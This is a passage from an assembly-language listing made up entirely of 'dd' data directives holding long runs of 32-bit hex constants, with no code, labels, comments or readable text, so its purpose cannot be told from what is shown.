0D9C776D6h, 0E5253161h, 0FB4F627Fh, 0D746C43Ch, 64AE38C1h dd 0A83C0E03h, 5555161h, 0B5CF7CA9h, 483244CBh, 0F193470Ch dd 0E87741BDh, 702A11ACh, 0EA043571h, 7962773Eh, 0F403CE86h dd 569F5EB2h, 7BADF466h, 0B1F308Bh, 3E21FCD4h, 480677B8h dd 8C7E3134h, 0B4A99588h, 51AE6D41h, 739B45A2h, 19F4CCDEh dd 60120027h, 2F352D31h, 0E5CD4EE8h, 3D56B1F1h, 0C4961AE8h dd 0AF6891FFh, 0BB250767h, 0B9E39B5Ch, 0DA43A864h, 5FB9E92Dh dd 29E3C7B3h, 0C3848B38h, 0BCB9217h, 29596F5Fh, 6C1D8B87h dd 0F30D8E0Fh, 50D7E28Eh, 7D41568Fh, 16036D0Ch, 0E3C95483h dd 62BDB382h, 7CCF853Fh, 0A01AFCA5h, 9FB58987h, 873A544Eh dd 0F67CE954h, 2A615E1Ah, 2F906727h, 0DF7801A2h, 442A82EFh dd 4DC6C215h, 0AA67E7C1h, 5CEF4F22h, 0E3877C35h, 50E45B1h dd 0D15D5423h, 59DB7009h, 0BE11135Eh, 0F0EBB984h, 0D8BB6297h dd 9E78857Bh, 0CD28FC93h, 9FD0DB0Bh, 0F80A19BAh, 0A56840C4h dd 3AD24CB4h, 1E4C3127h, 224C07CFh, 80AA4B93h, 0B5AD85AEh dd 0F47CB375h, 2F357B84h, 4252EC8Ah, 6B3D3246h, 549A5D99h dd 0ACD0182Fh, 31EDBEB7h, 1C697934h, 58D5203Bh, 9D18DE2Dh dd 0D99EDC8Eh, 0EB7B4C8Bh, 8423E720h, 0D7867773h, 42F0840Bh dd 1C7749C9h, 12972AAFh, 5A46A48h, 0FCB3EF2Dh, 11AB121Dh dd 0B97BD6FCh, 6C5C9756h, 0A221F66Ch, 9CCC605Eh, 8D109800h dd 5A3A697Ch, 6B9E88EAh, 0EDF0005Bh, 2ED56065h, 0D5575119h dd 0EBB19814h, 14979218h, 387DB675h, 0C9374979h, 65FEBCC9h dd 0E44F6AD2h, 0E4319A3Eh, 0EE165EE5h, 7F0FDAF6h, 3E4291EBh dd 76980B47h, 0E0CCD380h, 0C0400E90h, 5E8DADB8h, 3AD3F8F8h dd 80D1F27Eh, 8F7A8ED2h, 22E8F105h, 0BC79C7ECh, 19D58CEBh dd 54F2E91Ah, 327D3B3Eh, 0BAEEC65Ch, 688A4F59h, 2E5F6353h dd 0DFE79227h, 71E08027h, 0FABEAF19h, 0DE51B982h, 0FDAF848Ah dd 8A1B6826h, 0D84B9539h, 0EBD3E9ACh, 60D8A529h, 7E3DD21Dh dd 5335C35Ch, 2D84457Ch, 0F130C48Eh, 0A8E26E24h, 54CBFF77h dd 0B0D9CE80h, 0B5A5364Fh, 4964EE02h, 0D8C7DE9Eh, 53E6F707h dd 0B449B270h, 5E907EBCh, 0B014E6C2h, 1BF78DBBh, 71E8173Ch dd 79D6C95Fh, 23C2797Fh, 970AC3DCh, 46E9E5E5h, 0F5369C1Fh dd 62A1A441h, 793058E5h, 1124127h, 0E3086068h, 4606379Ah dd 7C62CC65h, 0AE7E6C90h, 0C1C13E2Ch, 0C66AFCDBh, 0FD86B2CAh dd 17B072BBh, 0CC398777h, 9029A236h, 0B63F033h, 6170B614h dd 0FF5599CAh, 0B76524F7h, 0C3DC95D1h, 0F3128C32h, 0AD642AAAh dd 0EA0835ABh, 5310EEF2h, 35DA5651h, 942928FBh, 0A328C9ECh dd 9F478677h, 0DE21DBC4h, 2621A20Ah, 0D878D9F7h, 47FBA9BFh dd 79094F46h, 30B6F17Ah, 0DA991D9Fh, 0BBCAD389h, 0FF38A6CBh dd 0E6085F9Ch, 6D7ADF3h, 2640C437h, 86F63F06h, 0BFA030A3h dd 0D00BDF73h, 3C21D17Dh, 660EEEEBh, 1FC17758h, 0BC2B74B0h dd 13F81190h, 6A5B85CFh, 4BDCCF87h, 10EC43F1h, 88B1FE0Ah dd 5F32AB52h, 4E98243Fh, 399E2A7Eh, 0BCBDDCC2h, 21309E1h dd 86B5C2B5h, 0EE56CA73h, 65B2B918h, 85E5B306h, 0EDA093A6h dd 0CFBECFC4h, 0E2ED0524h, 0B99E904Dh, 6EF4EA9Bh, 3E89A99Dh dd 0CD23F0CFh, 0AB8BF4C5h, 4ADF136Fh, 0E6D7C9C2h, 187E034Fh dd 681E47Ch, 9D7CE546h, 84D3CAB4h, 0C796C0B7h, 0B5DF9506h dd 4D87382Ah, 607429F2h, 8FF8B61h, 1649A6C3h, 2D5ED72Eh dd 23AAACFCh, 0EFE67B7Dh, 5596EBC1h, 0E6E8C810h, 0DCDCBA46h dd 2D652725h, 0DC841533h, 7AFA0503h, 0A27BCE7Eh, 615E966Fh dd 862CD376h, 496413E8h, 6A72A736h, 50F100F7h, 0A451A7C5h dd 22A931CCh, 0E6E7C9BFh, 0B344D42Ah, 662FC725h, 4259D7F9h dd 4C482B7Bh, 1BF235A9h, 43BE0C05h, 0A4960753h, 47CD6367h dd 7D9CC153h, 0F69E6473h, 0A770A3EEh, 0E6072CC4h, 830B880Dh dd 0DF04D687h, 0A800D728h, 1DB25918h, 946AC9E3h, 9E7DF2EBh dd 6D29FEC2h, 0A9C450B2h, 0B8BAE5ADh, 32A6A0A3h, 96162A9Eh dd 683393B5h, 0E0E63D43h, 0F97CF966h, 0CBE6C566h, 0D7FBB543h dd 76805B82h, 8A74CC4Dh, 1CAF0CD5h, 0EE3CAC4Fh, 0C73F2B5Ah dd 212E331Ch, 38891527h, 0D65CD1B6h, 0EDAB1C7Bh, 4FA6B6E2h dd 28628981h, 0C67CFA3Dh dd 1C04975Ah, 0F9826F54h, 9561D1FDh, 45D017DDh, 0D1AC2F8Dh dd 8CE7B51Dh, 0B1F2BD80h, 3F7E7088h, 0EDAA891Ah, 0EC8A3567h dd 3CFC8201h, 6FCCA136h, 8D54D00h, 17A1FA4Bh, 0E2C7940Ah dd 5F250325h, 0C8611C7Fh, 0F5EF9995h, 6AF50548h, 0F9DA9F7Dh dd 569565A8h, 0AD5396CEh, 445A3F9Dh, 83809ED4h, 2E4EF31Bh dd 0F2C4A976h, 43F9980Fh, 4A58ACA1h, 6F245B97h, 999FC6E5h dd 0BC9B1E3Eh, 9FDB317Bh, 0A0A796D8h, 8F7E060Dh, 0FE63A86Fh dd 818FF4CEh, 32D274E3h, 2834D7Dh, 5D9DE0C6h, 89B34884h dd 9E37CCCFh, 37E81EAFh, 65A6B5BDh, 5FAB3B8h, 965613A4h dd 78412B2h, 1F3411C1h, 3E075BE0h, 38F8CC3Fh, 0E74A367Ch dd 39C795A4h, 730029C9h, 645A7CE6h, 957A5A76h, 11539C3Ch dd 27435C81h, 72F0D4AFh, 1C20995Eh, 0C0E47C7Fh, 9B494F3Fh dd 73AC814Eh, 16BE03EBh, 0EAF2ABB0h, 93CA465Eh, 9B9310B0h dd 0D6C1C509h, 7C46417Ch, 0F6280B14h, 3EEC810Eh, 0E82D73BCh dd 9CB9365Ah, 462E703Bh, 0FAA17AE9h, 5D2109Dh, 5867BAABh dd 2C762008h, 0BA3A4FADh, 8C517B48h, 5038932Dh, 0ACE9D98Dh dd 0B38699D6h, 0D503D86Bh, 6B3FF7D3h, 0B87A4768h, 9D76E53Ah dd 18EA9299h, 2907084Bh, 73E8E8BDh, 1D9243B5h, 4BD8D399h dd 0A03720EDh, 0A0B38494h, 567D4AEEh, 795BC937h, 0B1C738BEh dd 0BD701572h, 4DBC2E60h, 0C782CAFFh, 83626C7Ch, 6C3EE8DAh dd 0B46B4DFFh, 0F9F572DDh, 4AE8E6C0h, 74C4DE7Ch, 66524973h dd 0E1C399CBh, 1B239456h, 54736633h, 0BC3F61C2h, 7AC6F5EBh dd 0E81371A9h, 3BC1BE4Eh, 6454C110h, 0D5264B24h, 1F5DA1A6h dd 2E94C85Bh, 9D67F30Dh, 51E2F50Eh, 616EF5CFh, 0E9CDC4EDh dd 0A0100E7Dh, 0A509CF88h, 0BE43C4ECh, 816E780Dh, 372B831Eh dd 3508F894h, 86218EDBh, 0A926E4EFh, 0DCA10472h, 20D4D002h dd 0A13B074Dh, 90191B0Ch, 169D53C7h, 7CA8A0A6h, 4B2EAAF1h dd 0C67839ACh, 5C2B2B58h, 715602B1h, 22C10145h, 208E981Bh dd 7941469Fh, 2498F07Bh, 0E5D1C3F4h, 0E1408781h, 23C1ABC4h dd 0BEEAEAE7h, 0F1EC96E1h, 0C1D7F2EDh, 28955453h, 0B7FDA529h dd 85598577h, 0A77CD07Eh, 5EA88517h, 0B1F18E0Ch, 0B5D2B6B1h dd 961E1B9Ah, 28E5775Ah, 9BE8F9C9h, 6F556395h, 0C11966F5h dd 9AA65691h, 3E722A06h, 0F4BF44ABh, 4ECA2C45h, 0BC0B48B2h dd 5B57EB94h, 4543C4DCh, 0DF46D640h, 0D41B8BB8h, 0F5113B1Ah dd 0EBBA39EAh, 16760D42h, 9EE94ABBh, 0B3ABCDA8h, 0D2AF4656h dd 772325Ch, 0FAC5B954h, 3A78029Bh, 678C354Eh, 0D7BFF3C8h dd 0FFD4C0E0h, 23527DAAh, 0C8FEE7FDh, 0BA775104h, 0D9906BBFh dd 562C22B9h, 0CF9F4821h, 0F4C66F7Ah, 4F1F4AB2h, 0E4CC262Bh dd 9C7AABC9h, 0E6EDCA83h, 114CEB94h, 0AECACEA1h, 28EF1876h dd 8CA847CEh, 69876DD7h, 0FFFD4F51h, 0C123F009h, 0C242DFBCh dd 73C2E3CDh, 0A94D7E45h, 0AD59B312h, 0E11798F2h, 0D75A3C1Fh dd 662587CAh, 0C37CFFD5h, 8F3E87A8h, 0E0B7B818h, 6FE38D16h dd 0BD242764h, 0B08AABF5h, 0DEDE0CA0h, 0DE57E176h, 7A2AEB4Eh dd 98573051h, 496BD2E0h, 29F27DD4h, 0FE857FC9h, 138B7EA5h dd 63746B02h, 81BF640Ah, 0B4089DA1h, 7939CB3Fh, 4DB04C6Ch dd 7648DFh, 7E44B7C2h, 991E650Ch, 12325E6Eh, 9B1452E1h dd 796EBCA8h, 0CB9BEA79h, 42CA7EC6h, 258B6ADCh, 7877A4F2h dd 3CA11446h, 86DB76A0h, 0AC3798F3h, 11561B58h, 90F89785h dd 0FE037B6h, 17200533h, 78C9640Fh, 0D24584B4h, 6D3F34C2h dd 0A05ECD74h, 4A7A925Bh, 501D7F68h, 0A9178AD8h, 46B0FCC7h dd 0AC4ABB4Eh, 146C130h, 0D63A8171h, 0AF6E1CD6h, 848ED7A9h dd 88DD7F9Ah, 6BDD6017h, 0D67E83BCh, 106A9AD0h, 5D2D5D57h dd 8764C900h, 0E372C9DEh, 6AAC4C9Bh, 216092A6h, 0D4882904h dd 0BC6DB429h, 342BFC25h, 0DD564519h, 0A1D7D814h, 9783C858h dd 0F36CF84Bh, 12A2EFB8h, 461F7060h, 0D62F331h, 0DC6BFBC0h dd 11C79683h, 0A0504666h, 0A28DCFD1h, 7A2576DEh, 1D027808h dd 3976B450h, 224D4FA8h, 0A0C3AC72h, 0FB37056Eh, 0C10D86C4h dd 27CFF9FCh, 0B499B74Fh, 16DAB7DEh, 0A4247578h, 0A56C00Bh dd 1483DCAAh, 53E8F84Dh, 0C7B1DC35h, 0C457C7B9h, 1B23BD75h dd 8855EDE3h, 9E98462Fh, 905C9A9Eh, 40B21CFCh, 0A9C20E0h dd 3708CC31h, 76B1655Dh, 6D43415Bh, 80EAE553h, 0BAD6A762h dd 0CEEE9535h, 28C6B9E0h, 7B85CE7Dh, 0D423A6B7h, 0BF4FC18Ch dd 3FF66BA3h, 0D533188Ch, 0EB1FE409h, 83914C81h, 0F72F1285h dd 351FB323h, 9E469A5Bh, 8F882D7Dh, 4D97CE58h, 0C3EACF4h dd 99BF5E35h, 0E6A04E62h, 85B28F01h, 6ABE85E2h, 6A40B390h dd 2A2D7159h, 6EA6B4B0h, 99AFECB6h, 0B19A7B46h, 9A021957h dd 5772D794h, 0E33B67EDh, 3BD2A9B3h, 0B5F994F8h, 9834F8E3h dd 0A1B2AE02h, 0E4906C7Ah, 121D80C3h, 0C7C3557Fh, 88C80924h dd 0DB9E57BCh, 0D8457FDBh, 0DD926120h, 504E5A7Ch, 59419478h dd 93E4E3F3h, 209A9698h, 80C13EC0h, 0F091C78Dh, 0B3D65053h dd 0FB70C121h, 72367841h, 1CCFD9E2h, 470AEA46h, 9D189FF5h dd 8A1DB202h, 6BE3EE7Ah, 53D5A4BFh, 9387138h, 4C8633D0h dd 7C795DD9h, 3B2778Dh, 3ABE8737h, 9EC4C5CCh, 0C055A692h dd 8FD41A31h, 804990D2h, 4B22837Ah, 7C057E7Fh, 5921983Fh dd 0D085FE2h, 0CAD04748h, 9FC36FACh, 333B09C1h, 0E1C11273h dd 0E10AFC86h, 0FDCE6652h, 655004DEh, 6CB8BBE0h, 0C2B1C9D6h dd 1E81156Bh, 0FA15BD94h, 0B7CDAD1Ah, 0C47AEEF3h, 9D28DE83h dd 187DD5A4h, 73DF67B2h, 58EC171Bh, 10F76677h, 27C21109h dd 82DD5CC1h, 0C08B6C5Dh, 0E285E4F4h, 0FA010EA0h, 9F505764h dd 0E203886h, 29297BB5h, 0D50DB6C7h, 652DAF3Ah, 0B216F52Ah dd 0CAD6E4E4h, 3A4D813Ah, 2C8CCBC6h, 0F39D9718h, 3AAA7337h dd 596A8951h, 488D584Ch, 598229B9h, 985647B6h, 0ECF685C9h dd 0D996A189h, 9F534D0Ch, 8B04DDFFh, 0EA46EF91h, 0FADE25BAh dd 69E19B8Bh, 97AD9762h, 6C2E9B19h, 11348443h, 87A9E9B2h dd 0A1D04B0Fh, 445A65D0h, 1220E1DCh, 4858775Ah, 0BBD65D1h dd 7B761D9h, 0B0908242h, 3E66C9D3h, 5EC86BC3h, 0D6253DD9h dd 6F9BDA99h, 8D9A25C5h, 876C310Fh, 4D10FB27h, 0C1A46E6Dh dd 291925B5h, 0FE47E408h, 0CC495A99h, 81715A50h, 966E8458h dd 0CBE8ADACh, 1DAEDE4Eh, 0F35AC126h, 5635019Eh, 1C0A5E86h dd 0C4CF9E64h, 0B1FDC32Dh, 5A2BC7A9h, 0D6833ADEh, 99784D82h dd 54C919F7h, 452CCF9Ah, 0A7BD6298h, 1C748FE2h, 3E87C7B4h dd 6AEC68CCh, 77FFD63Eh, 4084A6F1h, 0F163CE83h, 6B351E2Ch dd 76EF9DF0h, 36A546FDh, 0DBBDB5C3h, 65DB6D5Bh, 0EB83F87Eh dd 0DF21D740h, 72D2353h, 2C59493Dh, 327E4798h, 0D51D5251h dd 230504E3h, 12DDDA10h, 7DF68EDFh, 64692C4Eh, 0DBA1D191h dd 24390797h, 39640BAEh, 0F4851CB9h, 0F28AB057h, 0D6BA77D0h dd 0E978C898h, 0B68D7ACCh, 53B3F211h, 0DC140948h, 22382A5Eh dd 4BAD7FF7h, 4D97EF5Bh, 1C852FA1h, 1F374BE9h, 0AC2B9FC1h dd 0A9CFEA2Fh, 92CE4C5Ah, 0F766B8BDh, 8D17BE3h, 591CDAB8h dd 5745B01Ch, 32A3644Eh, 65D9E92Dh, 0A4C6B7BBh, 0EBC4A285h dd 0F37358EAh, 5975C221h, 0B2C1F372h, 7804BD9Dh, 0C2CC459Ah dd 0D9540250h, 0A7C975D8h, 7C2D829Bh, 0EEF05F35h, 196FE14Bh dd 36181A8Dh, 0F61B3C7Dh dd 330163FCh, 60E24910h, 0C2D1BCA6h, 5FB75E01h, 4C7D352Ah dd 12E84D60h, 88A7B42Eh, 0D9EC9762h, 13CA77C1h, 0A75DB8DAh dd 2625DBBDh, 0FF48FA3h, 30127CC8h, 2EC38C51h, 0AF8D241Bh dd 0AA28D46Bh, 0E2193D59h, 0CAC274F4h, 184EE861h, 1DB8A9ECh dd 0C00EB53Ah, 52224929h, 0A5212636h, 46CDBC34h, 2E185538h dd 0CCEFF753h, 27517288h, 2B1A2C86h, 2DFF22ADh, 7434A849h dd 22940502h, 0E2D7CF7Dh, 6C85F7BEh, 4721AEFAh, 745C6E12h dd 8C9EF23Ah, 5D7ECCAh, 3C20C595h, 0A3FA7363h, 0B6547819h dd 0C991B18Fh, 93AA74A9h, 0B0659155h, 994526EEh, 344A07D5h dd 0D43D20E9h, 95825DAh, 0EDCB9BC1h, 6908FE19h, 14CDA504h dd 0E7E0BE0Bh, 6F7AD2E2h, 0CF7B57BFh, 2553800Ch, 0F61E566Bh dd 2ABA2F5Eh, 2BD06093h, 88A561B0h, 48136D9Fh, 8082397Ch dd 0D6846B63h, 0AAAF99DCh, 8DF665B2h, 8696F78Fh, 0CB12AFFEh dd 127661BBh, 248D14CFh, 2B9172A3h, 0A3CEED61h, 5E14880Fh dd 5D824915h, 3E5C94E7h, 2C487EB2h, 4C8F8B72h, 0BE3C1740h dd 53BD74D0h, 12EB674Dh, 31E5F573h, 13B87BBh, 0FDC2E486h dd 0CC4A869Fh, 83FD0B94h, 0CE2CB8B9h, 0D90847B5h, 0AF8A111Dh dd 3DA81884h, 24574ED8h, 661658D3h, 8670E601h, 0C4FF8311h dd 0C3D5753h, 5F9E066Fh, 1575040Bh, 1FAE2F8Ah, 0F756946Fh dd 0F33EDEE2h, 0BF900324h, 0F9480DF0h, 83399EB8h, 485B47BBh dd 7052781Ch, 7C65B002h, 6A1926D4h, 0C10DEECFh, 0C222384h dd 0DA4AB90Ah, 0EC3B909Bh, 3D12523Ch, 73109F98h, 0C529EA6Fh dd 0D95D1E7Eh, 7F390BAh, 4D5F3715h, 0E04F61Ah, 31B74D9h dd 0C50AE123h, 0B0FC3545h, 0A67A23C7h, 0FD19CB3Dh, 0D17A8907h dd 27067807h, 0E04586D2h, 81EDC040h, 6124DF7Ah, 0C3440D32h dd 4D8898D9h, 0EF38DC77h, 0BBC9D66Ch, 0D8539EF3h, 0E234463Dh dd 262BC21Ch, 0D5554F3Eh, 0F5BEAD5Ch, 810D996Eh, 59FDCC63h dd 0F931159Dh, 6111BE69h, 51D89095h, 0EC032B52h, 5FF4631Ch dd 0F2922859h, 617843F0h, 0B9EF9846h, 47874C5Eh, 0D6F159F8h dd 0AA197407h, 85F4EF96h, 7D5BCD50h, 0DA278DF2h, 0BC70EA89h dd 0C45D794Dh, 9D29C2FAh, 0BEB1EFC9h, 6BEC7B24h, 0BC02A10Bh dd 0B2E468EEh, 0AF47F577h, 44676186h, 4CB9BBBAh, 0FAC208BEh dd 0D7AA2309h, 23E5E161h, 0AB029496h, 85DF8E3Ah, 29201F94h dd 69FE2C98h, 70719A10h, 75C821AFh, 6D8EEFCAh, 0E5BB3BBh dd 71159EB8h, 0E29F7A22h, 39318D2Eh, 87875E9Ah, 0CD55939Bh dd 1880AA55h, 0DCEB4F1Dh, 7CFAD9B3h, 60FCC722h, 3BD2D4C2h dd 0C42358F2h, 655D686Ch, 917F2AA0h, 0FF23A08Eh, 0EFA305A4h dd 0D6356179h, 375FE829h, 0FEF2ADCEh, 9184282Ah, 7F4C14AEh dd 0F62F8558h, 0C1FC956h, 8ECF7BB2h, 4B4F28EEh, 254BB0ADh dd 0DD22A893h, 76828E3Eh, 7BE11086h, 0F9EA988Ch, 5B41C327h dd 3B049ED3h, 76CCC341h, 0E13FC6EDh, 13E80944h, 82274FFFh dd 741737D0h, 0CC52D1AFh, 47691461h, 11773104h, 0DFF8161Eh dd 48F67184h, 1E1CA18Dh, 8608446h, 86B188BCh, 40DAF439h dd 732EA373h, 1F87FE87h, 1A93B72h, 0D873C81Fh, 9986FC27h dd 0C4D78888h, 0B6FF1486h, 0F603F5CFh, 3276E87Fh, 33F86CE3h dd 71842C6Ch, 2A4361BFh, 26CB97CEh, 3AEEBC96h, 0F1E2DE8Bh dd 0C94ACD83h, 0E7DA4D96h, 21FE6AB9h, 318D2BE0h, 0EA3D5993h dd 5A09F244h, 0AED465D6h, 466C7D10h, 96F2F636h, 718B6F4Fh dd 9276704h, 4CFEE718h, 0D7E7C456h, 0DE33DA89h, 0EDFA6024h dd 934FCA24h, 0A93EBF31h, 7FA6654Fh, 8795C223h, 14C72A54h dd 0EDD92C0Dh, 6BC70416h, 0D8AF8317h, 0C0655D8Ch, 0DA3B2639h dd 77045165h, 1DB7D863h, 3ED6B97Dh, 0BD8D1F9Eh, 0B211CEE3h dd 0DCEB40BAh, 0A5E5A1F0h, 0BD218CBAh, 9A9540EEh, 795BA068h dd 0D090C105h, 10DB6EB0h, 1F09DB1Fh, 470209E4h, 0E597A84Ah dd 1DFED3A0h, 0E4B8FF58h, 29607975h, 78D10FAAh, 6A3EA2F1h dd 0D03CE9BAh, 9F1E3665h, 0FC1C2700h, 389DB16Ah, 6E421A56h dd 29CB4CB1h, 6FBE50CDh, 0C11F84DDh, 11A98893h, 0E8CAC85Bh dd 0DC1AC659h, 0ECEB2C2Dh, 0A1B58A52h, 0A8B738F0h, 5CF83BC8h dd 59A84F3h, 984C027Bh, 0C784E87Ah, 0EE051F93h, 3E4AA970h dd 0D93F0482h, 5C98BFEEh, 30577BA3h, 63AB1953h, 992E4EA3h dd 0C14083A8h, 8E84C359h, 0F3B8717Fh, 3AC53A0Eh, 21310A59h dd 0AD72F3FFh, 44349E6Fh, 0F1CC52AFh, 90FD8B13h, 635A0618h dd 3A1802E4h, 2E73150Bh, 0BE0E6926h, 8A8C07FFh, 13DE2C86h dd 0F5ADC026h, 232EA7FDh, 43321B40h, 380A2966h, 0FA107FA4h dd 0B539A17Ah, 8B0E0D17h, 0B49F5404h, 34A4D410h, 0A1BDA9A6h dd 0BA5C7679h, 0A81AF43Fh, 163FB93h, 0CACB1AC4h, 940B536Eh dd 1CEA6B90h, 5CCC91BFh, 892219C6h, 6550E2B4h, 0DBD5393Dh dd 0EF1FC023h, 2FB22594h, 45CDDEFBh, 0A9F625A5h, 6902234Eh dd 0FD6974CBh, 2F999376h, 0F47C6778h, 15D60F4Bh, 64E67D4Ah dd 0B6C3C0EFh, 2227E622h, 4DC171FAh, 849CC7DDh, 7CA1917Ch dd 6D7EA0C8h, 1FEF7CB6h, 9039BD8Eh, 0AFE69F50h, 4668FA72h dd 609298EEh, 0FEA06B41h, 0F59D994Fh, 4A24D796h, 0A927C096h dd 3A496B1Eh, 0EEB9C49h, 70E857Fh, 6950139Eh, 9ED9CC7Ah dd 0DDB66E10h, 26C16D9Eh, 89BF91E9h, 0E1C1A90Dh, 598D91DBh dd 0F0B7A3D9h, 9CA719D5h, 0BEA635B1h, 0A286EBC9h, 8D9F9823h dd 5B6DF392h, 7E948DD3h, 2ADDFC9Ch, 0EDD64D15h, 0B1B4E79Eh dd 839D8FF0h, 533C1C97h, 0D80F5120h, 0B988C410h, 37839D34h dd 989D8FAEh, 0A188C301h, 34C5069Ah, 0FB0F16B4h, 0D08A7A7Dh dd 0CC0E6E36h, 48DAD542h, 31A8BE52h, 0B9FFDF2Ch, 0E3FBC788h dd 8CF766EDh, 37BC0F6Bh, 7DAD5233h, 2A35AB85h, 7457FEEDh dd 0C038D038h, 59D8F321h, 4ADDAB28h, 0FD853E03h, 0AE016899h dd 824939C6h, 500FFC04h, 0C8E9535Eh, 0B25C0BD8h, 0C5AF1895h dd 0D96BE596h, 815663E4h, 70D5979Dh, 35603D2Bh, 62135145h dd 42437AD0h, 0F9540DE2h, 5828FBE8h, 0A2C29F60h, 0E4B80016h dd 1E60268Fh, 76A9BAFBh, 0B4DB10CEh, 0FE1EA298h, 0FBDFC069h dd 3FD80596h, 6CF9ACE3h, 8718E12Eh, 0F75D2B55h, 610481F3h dd 0BCD8C4F3h, 0D2324B72h, 0C21F0183h, 0BEC3D791h, 46C09806h dd 0B513DDE5h, 0C66D6952h, 0CBB618Ch, 66C2FC9Eh, 0EFCA7114h dd 853D5019h, 6E976BB2h, 0DD0A12BDh, 21BA764Ah, 0D4A3D495h dd 74E1D860h, 0CC304BC1h, 0A8A7FD0Ch, 18AD3FA0h, 261B72BDh dd 0FA1FE343h, 0F0A2DEC6h, 0FF22850Dh, 0AF5CB767h, 0B697B285h dd 1BE536CDh, 7378F737h, 0C5E975Fh, 7767E958h, 4C0177AAh dd 1A0D7697h, 0DE872F06h, 0E7513C41h, 0CB6E6B89h, 732A5CDFh dd 903EC4E8h, 0A991A200h, 0B5D04012h, 0A38DCDB0h, 0D0012A99h dd 62A93053h, 4C823FE2h, 85CA9513h, 132CDD05h, 51B55D87h dd 6E758920h, 0C25305D4h, 620A97DDh, 163DBCA7h, 0B3047805h dd 71B29427h, 7E713942h, 58EC9428h, 5FD65D8Ah, 0A9DE04BFh dd 0CF0F2A2Ch, 0F0D1B5DCh, 0BE74CE0Ah, 4D57F405h, 35A65654h dd 0B2853852h, 5D1F270Fh, 0DDBAA2BBh, 0AB3B398Ah, 0B75A9E48h dd 9AE8ED9Bh, 2DAD7EADh, 0B22BD1E6h, 0A0A3FF77h, 477B8A2h dd 0AC2F50A7h, 958E232Bh, 0A3C3161Dh, 163C2D7Dh, 3A05EA7Ah dd 92363F5h, 6106A37Bh, 0D50475BEh, 4759E73Ch, 9EDF4868h dd 6AD72E5Dh, 9FF58FC3h dd 0DD291C95h, 18D19DF9h, 9DBDD079h, 0B5C56404h, 2E4D8E00h dd 929EB0C7h, 7DC50539h, 5F519AD1h, 68B50307h, 4377AF4h dd 0F1939BD3h, 0D56A4F63h, 0FFB873A0h, 6F086843h, 13644A48h dd 9AA0D9C5h, 84457595h, 62C7FCB0h, 2931967Dh, 2B9C315Ch dd 0C65393A4h, 97FE2979h, 8F17194Bh, 6FAE805Eh, 9D330F92h dd 8DF3FC4Eh, 0FBC234F9h, 0E9BF1A43h, 5F7733C9h, 0F15DBE82h dd 0B01B719Ch, 787B188Bh, 6B23377Fh, 0E5F8EDC2h, 0D4926ADDh dd 8BCACCE4h, 13EA49ACh, 0F0E3A2C6h, 0C4C4FB3Eh, 0AE76BA7Bh dd 0EF61DF9Fh, 2374E7Dh, 0A1E405EEh, 0DD6E40B9h, 40E4A817h dd 0D163DBAEh, 7B218583h, 2682D07Bh, 0D95F8130h, 23B2534Dh dd 0E8862116h, 63C514AEh, 89C573C4h, 0F0C05F5Dh, 895E236Dh dd 58AD7E80h, 2498C291h, 3C50DA6Bh, 54C70A0Fh, 0EF898B5Ch dd 0C5872B4Fh, 0C4EA936Eh, 36845D35h, 72155FD6h, 0D68A05E8h dd 0C790FDA7h, 0B376D496h, 3F1E8FBDh, 0C52000Eh, 5F823DEDh dd 5A32CA2Fh, 9C505DA4h, 0BFA18655h, 2E869CD8h, 2C8304DEh dd 2D468DC8h, 4292AC76h, 50B372A9h, 0F635371Bh, 990CCC2h dd 874CF96Dh, 46C97771h, 9B7C2958h, 0E817C5C6h, 1FC264B3h dd 0F3DDE3DDh, 2A106A23h, 69B60A57h, 54C22176h, 0E76B5595h dd 825C9D5Dh, 1C8C6A5Ch, 7CB16C31h, 80A757EBh, 6F513A82h dd 30B1BB05h, 28F0291Ah, 0FE90B27Ah, 0AA918C68h, 95D3709Eh dd 11077A65h, 0ED7ECA6Dh, 2F4C2CB0h, 5A684F59h, 379920CBh dd 148CC6D8h, 0E84489A3h, 0DED02BDAh, 1224AB93h, 0F0B5BE52h dd 8ACCB7A6h, 8BF92701h, 0DBA7D658h, 22273E0h, 0DC06D9F7h dd 4F988EA9h, 6B6DDA65h, 32A78BAAh, 5C2353B9h, 5121D5CCh dd 747C7229h, 7ACF18A3h, 60654AAEh, 62A9CF5Ah, 0C790D8DFh dd 0A89287FCh, 0F74E4C1Ah, 51225DB9h, 0A31B6063h, 1BDCD2DBh dd 0BF671D71h, 947CEEDh, 0B31E279Fh, 0F19D5166h, 0B3E82DC7h dd 0A44F51h, 2DE17E80h, 0DAB388AEh, 0F64D45C6h, 0FDE02F2Ah dd 14AE1C55h, 768C45B7h, 0B8849833h, 123EA4CDh, 0D16F0428h dd 0ADEFD8C8h, 1F6A6673h, 8BE81A45h, 6A970E67h, 680074BEh dd 1EEC3461h, 820B7EA8h, 8B462627h, 0F9C0C5A4h, 5A14DEC6h dd 0CC60E39Fh, 962921B8h, 0FAD248D0h, 616D1E38h, 0CBA70853h dd 70234C85h, 0FDABD493h, 2E610D65h, 0B99180B5h, 6096F899h dd 0BAF3B9CFh, 26E63E15h, 2C048DBAh, 65174537h, 154E2FDCh dd 0D8F701BEh, 47193077h, 82E56418h, 0BEDC2FF0h, 48F1AAC2h dd 0DF55794Fh, 4D6D61CCh, 32FBA3F7h, 8F903463h, 13E3C283h dd 488CB174h, 1F59B714h, 0A3540C94h, 97D2FC4Ch, 0CA93FE01h dd 95186E27h, 23767940h, 25368EA9h, 0BF29CDEh, 0CA2FDA8Dh dd 5FDC9F5Fh, 49CE5CEDh, 94071918h, 2405EC25h, 0E0E09A6h dd 4FBDC30Bh, 0F7DEBF24h, 0CB9B7142h, 9929320Eh, 36DADAF0h dd 0BDC067D3h, 802C1EB7h, 384FCE3Dh, 0A19AC886h, 0EF8CA2F4h dd 0A7B911DDh, 0FD441C7Ah, 0CED8657Fh, 0BBEF4974h, 31CEAD47h dd 0EBE9391Fh, 34D03D24h, 0EA83AB0Dh, 8AAB3A9Ch, 0C91B7C03h dd 0C67C9827h, 0E93AD8C7h, 0B8E86CF2h, 365093CCh, 0C89B3A05h dd 6131068h, 12EAEECFh, 0C9689C7Fh, 0EFC9DAC9h, 6EBD761Ch dd 7C676ADFh, 0AE9BC48Dh, 9BD393C2h, 81CBEBD5h, 0DD7A874Ah dd 219918D3h, 0EF250927h, 610083F8h, 3C19E0Fh, 701A18C7h dd 0A4F37E7Eh, 0EECD81E2h, 645FDDDDh, 2819C7C3h, 215DB82Ah dd 9022F01Dh, 0DFCADECDh, 816D0572h, 66149BF8h, 8E11C0AEh dd 0E3A6F6D8h, 71197148h, 89964069h, 0ED182921h, 0B251A7F5h dd 0E246EF82h, 